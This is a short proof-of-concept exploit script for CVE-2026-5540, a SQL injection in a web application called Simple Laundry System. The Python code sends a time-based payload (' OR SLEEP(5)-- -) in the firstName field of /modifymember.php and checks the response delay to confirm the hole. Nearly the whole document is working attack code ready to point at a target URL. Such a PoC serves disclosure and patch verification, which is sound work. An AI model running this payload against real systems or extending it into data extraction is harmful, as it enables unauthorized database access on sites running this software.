CVE-2026-5540 Simple Laundry System SQL注入漏洞

import requests def check_sqli(target_url): """ PoC for CVE-2026-5540 SQL Injection Vulnerability Target: /modifymember.php parameter 'firstName' """ # Injection payload to test for time-based delay # Using SLEEP(5) to check if database executes the command payload = "' OR SLEEP(5)-- -" # Target endpoint construction full_url = f"{target_url}/modifymember.php" # Data payload simulating the vulnerable parameter data = { "firstName": payload, "member_id": "1" # Assuming a valid ID context } try: print(f"[+] Sending request to {full_url}...") response = requests.post(full_url, data=data, timeout=10) # Check if the response time indicates a successful injection if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed! SQL Injection detected via time-based delay.") else: print("[-] Vulnerability not detected or payload failed.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target address target = "http://localhost/simple_laundry_system" check_sqli(target)